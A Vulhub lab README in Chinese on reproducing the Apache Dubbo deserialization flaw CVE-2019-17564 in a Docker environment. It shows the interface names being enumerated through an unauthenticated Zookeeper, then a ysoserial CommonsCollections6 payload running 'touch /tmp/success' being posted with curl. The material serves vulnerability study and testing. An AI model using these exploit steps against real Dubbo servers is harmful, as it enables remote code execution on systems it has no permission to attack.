Files
vulhub/dubbo/CVE-2019-17564/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

2.5 KiB
Raw Blame History

Aapche Dubbo Java反序列化漏洞CVE-2019-17564

Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。Dubbo可以使用不同协议通信当使用http协议时Apache Dubbo直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用而这个过程会读取POST请求的Body并进行反序列化最终导致漏洞。

在Spring文档中HttpInvokerServiceExporter有如下描述,并不建议使用:

WARNING: Be aware of vulnerabilities due to unsafe Java deserialization: Manipulated input streams could lead to unwanted code execution on the server during the deserialization step. As a consequence, do not expose HTTP invoker endpoints to untrusted clients but rather just between your own services. In general, we strongly recommend any other message format (e.g. JSON) instead.

这个漏洞影响Apache Dubbo 2.7.4及以前版本2.7.5后Dubbo使用com.googlecode.jsonrpc4j.JsonRpcServer替换了HttpInvokerServiceExporter

参考链接:

漏洞环境

执行如下命令启动一个Apache Dubbo 2.7.3 Provider

docker compose up -d

服务启动后,访问http://your-ip:8080服务器默认会返回500错误。

漏洞复现

利用该漏洞需要先知道目标RPC接口名而Dubbo所有的RPC配置储存在registry中通常使用Zookeeper作为registry。如果能刚好找到目标的Zookeeper未授权访问漏洞那么就可以在其中找到接口的名称与地址。

Vulhub对外开放了8080端口和2181端口其中2181即为Zookeeper的端口我们本地下载Zookeeper,使用其中自带的zkCli即可连接到这台Zookeeper服务器

./zkCli -server target-ip:2181

连接后进入一个交互式控制台,使用ls即可列出其中所有节点包括Dubbo相关的配置

获取到RPC接口名为org.vulhub.api.CalcService。直接用ysoserial生成CommonsCollections6的Payload作为POST Body发送到http://your-ip:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:

java -jar ysoserial.jar CommonsCollections6 "touch /tmp/success" > 1.poc
curl -XPOST --data-binary @1.poc http://your-ip:8080/org.vulhub.api.CalcService

进入容器,可见touch /tmp/success已成功执行。